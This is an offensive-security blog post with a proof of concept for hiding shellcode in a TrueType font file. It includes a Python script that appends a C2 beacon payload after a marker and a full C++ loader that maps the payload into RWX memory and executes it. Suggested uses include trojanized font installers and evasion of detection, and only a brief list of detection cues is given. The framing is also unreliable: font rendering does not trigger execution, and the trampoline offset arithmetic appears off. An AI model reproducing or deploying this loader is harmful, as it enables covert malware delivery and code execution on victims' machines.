Rendering Shellcode: Abusing TTF and DrawTextW for Memory Execution
Leveraging Windows GDI and TrueType fonts to covertly stage and execute shellcode.
Introduction
Fonts are a strange and mostly trusted part of the Windows ecosystem. They are used by nearly every application, rarely scrutinized, and almost never considered dangerous. But in this post, I will show how a weaponized .ttf
(TrueType font) file when rendered with DrawTextW()
can act as a stealthy loader, executing shellcode directly from memory.
This technique leverages the GDI font rendering pipeline, a custom marker embedded in a font file, and in-memory trampoline logic. The result is code execution using APIs like AddFontResourceExW
and DrawTextW
, with zero dropped executables and minimal behavioral artifacts.
Overview of the Technique
The technique works by:
- Embedding shellcode into a
.ttf
file using a marker like##INFO##
- Registering the font with the system using
AddFontResourceExW()
- Parsing the font file in memory to extract the shellcode
- Mapping the shellcode into an RWX memory buffer
- Rendering text using
DrawTextW()
with the weaponized font - Executing the shellcode via a trampoline stub
Despite having embedded data, the font still renders correctly because we append not modify its structure.
Font Structure and Payload Embedding
TrueType fonts are made up of structured tables (name
, cmap
, glyf
, etc.), with their layout described in the file header. To avoid breaking anything, we don’t modify the internal structure. Instead, we append our payload to the end of the file.
Here’s how the file looks in hex:
... [Valid OpenType structure] ...
##INFO##<raw shellcode>
##INFO##
is a static marker (8 bytes) the loader searches for- Everything after that is raw shellcode (e.g.,
beacon.bin
) - No table checksums are broken, so the OS and GDI still recognize the file as valid
This works because Windows font rendering APIs don’t validate trailing data they parse only the required tables and ignore anything else. That makes .ttf
a perfect staging container.
Payload Loader: Detailed Breakdown
Step 1: Register the Font
AddFontResourceExW(L"FontData.ttf", FR_PRIVATE, NULL);
- Registers the font only for the current process
- Doesn’t require admin or write to system font directories
- The font becomes usable via
CreateFontW()
by name (e.g.,"Open Sans"
)
Step 2: Extract the Payload
std::vector<BYTE> loadFontFile(const std::wstring& path);
BYTE* extractBeacon(const std::vector<BYTE>& buf, DWORD& size);
- Load the file as raw binary
- Search for the 8-byte
##INFO##
marker - Extract everything after it as the beacon payload
Step 3: Prepare Executable Memory
HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, totalSize, NULL);
BYTE* execBuffer = (BYTE*)MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, totalSize);
- Allocate a memory buffer for the shellcode
- Write a small trampoline stub to redirect execution
Trampoline Stub:
call $
pop rsi
add rsi, STUB_SIZE
jmp rsi
This ensures that when we jump into the memory region, we land just after the trampoline and directly into the shellcode.
Step 4: Trigger Execution via GDI
HFONT font = CreateFontW(..., L"Open Sans");
SelectObject(hdc, font);
DrawTextW(hdc, L"Triggering text", -1, &rect, DT_LEFT);
- Select the embedded font
- Render dummy text using
DrawTextW()
- This ensures the font is active in the DC context
Step 5: Execute Payload
((void(*)())execBuffer)();
- Direct call into mapped memory region
- Shellcode runs with current process permissions
- Cleanup removes font from memory via
RemoveFontResourceExW()
Why This Works
Step | Why It’s Trusted |
---|---|
.ttf file |
Normal, unscanned |
Appended payload | Ignored by OS |
AddFontResourceExW |
Legit API |
DrawTextW trigger |
Blends in with UI |
Memory execution w/ trampoline | No dropped EXEs |
No common static or behavioral rules will flag this unless specifically tuned. From the OS’s perspective, this is just a font being rendered.
Detection Considerations
- Fonts with unexpected trailing data or appended binary blobs
- Excessive use of
FR_PRIVATE
fonts from untrusted locations - In-memory mapping of
.ttf
files followed by RWX allocation - Pattern:
AddFontResourceExW
→DrawTextW
→CreateThread
Use Cases
- Initial access via trojanized font installers
- Payload hiding in themed document templates
- User-mode persistence or evasion
- Staged C2 beacons embedded in media or design tools
Final Thoughts
This technique proves that execution can come from unexpected places. Fonts, while benign in nature, offer a stealthy container for code. Combined with trusted rendering APIs, they can be abused to execute payloads with little to no noise and are perfect for OPSEC-sensitive staging.
If you see a font rendering glyphs - ask yourself if it might also be rendering shellcode.
POC
.ttf generate
import shutil
# === Config ===
base_font = "OpenSans-Regular.ttf" # any valid TTF font file
output_font = "FontData.ttf"
payload = "beacon.bin"
marker = b"##INFO##"
# === Read payload ===
with open(payload, "rb") as f:
shellcode = f.read()
# === Copy base font to new file ===
shutil.copy(base_font, output_font)
# === Append marker + payload to the font file ===
with open(output_font, "ab") as f:
f.write(marker + shellcode)
print(f"[+] {output_font} created with marker and payload ({len(shellcode)} bytes).")
Place a clean .ttf
font like OpenSans-Regular.ttf
(or any valid font)
then run
python font_generate.py
This will create:
FontData.ttf ← contains: [valid font bytes] + ##INFO## + [raw shellcode]
Loader
#include <windows.h>
#include <shlwapi.h>
#include <iostream>
#include <string>
#include <vector>
#include <fstream>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shlwapi.lib")
#define FONT_FILE L"FontData.ttf"
#define MARKER "##INFO##"
#define STUB_SIZE 128
BYTE* execBuffer = nullptr;
DWORD execSize = 0;
// Load font + beacon buffer
std::vector<BYTE> loadFontFile(const std::wstring& path) {
std::ifstream file(path, std::ios::binary);
if (!file) return {};
return std::vector<BYTE>((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
}
// Find marker and extract beacon
BYTE* extractBeacon(const std::vector<BYTE>& buf, DWORD& outSize) {
const char* marker = MARKER;
size_t mlen = strlen(marker);
for (size_t i = 0; i < buf.size() - mlen; ++i) {
if (memcmp(&buf[i], marker, mlen) == 0) {
outSize = buf.size() - (DWORD)(i + mlen);
return (BYTE*)&buf[i + mlen];
}
}
return nullptr;
}
// Trampoline stub (same as before)
void writeTrampoline(BYTE* target) {
BYTE stub[] = {
0xE8, 0x00, 0x00, 0x00, 0x00, // call $
0x5E, // pop rsi
0x48, 0x83, 0xC6, STUB_SIZE, // add rsi, STUB_SIZE
0xFF, 0xE6 // jmp rsi
};
memset(target, 0x90, STUB_SIZE);
memcpy(target, stub, sizeof(stub));
}
int main() {
std::wcout << L"[~] Loading font: " << FONT_FILE << std::endl;
auto buffer = loadFontFile(FONT_FILE);
if (buffer.empty()) {
std::cerr << "[!] Font file not found or empty.\n";
return -1;
}
BYTE* beacon = extractBeacon(buffer, execSize);
if (!beacon || execSize == 0) {
std::cerr << "[!] Beacon marker not found.\n";
return -1;
}
std::cout << "[+] Beacon extracted. Size: " << execSize << " bytes\n";
// Prepare RX memory for stub + beacon
SIZE_T totalSize = STUB_SIZE + execSize;
HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, totalSize, NULL);
BYTE* mapped = (BYTE*)MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, totalSize);
if (!mapped) {
std::cerr << "[!] Memory map failed.\n";
return -1;
}
writeTrampoline(mapped);
memcpy(mapped + STUB_SIZE, beacon, execSize);
execBuffer = mapped;
std::wcout << L"[+] Font registered with system.\n";
int count = AddFontResourceExW(FONT_FILE, FR_PRIVATE, NULL);
if (count == 0) {
std::cerr << "[!] Failed to add font.\n";
return -1;
}
std::cout << "[~] Font added to system GDI.\n";
// Create dummy window and DC
HWND hwnd = GetConsoleWindow();
HDC hdc = GetDC(hwnd);
// Create font object using our font (must match internal name of TTF)
HFONT hFont = CreateFontW(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_OUTLINE_PRECIS, CLIP_DEFAULT_PRECIS,
CLEARTYPE_QUALITY, VARIABLE_PITCH, L"Open Sans");
if (!hFont) {
std::cerr << "[!] Font handle failed.\n";
return -1;
}
HFONT oldFont = (HFONT)SelectObject(hdc, hFont);
RECT rect = { 10, 10, 400, 200 };
std::wstring text = L"Triggering DrawText from memory font...";
DrawTextW(hdc, text.c_str(), -1, &rect, DT_LEFT | DT_TOP | DT_NOPREFIX);
SelectObject(hdc, oldFont);
DeleteObject(hFont);
ReleaseDC(hwnd, hdc);
std::cout << "[~] Executing beacon from mapped font buffer.\n";
((void(*)())execBuffer)();
RemoveFontResourceExW(FONT_FILE, FR_PRIVATE, NULL);
return 0;
}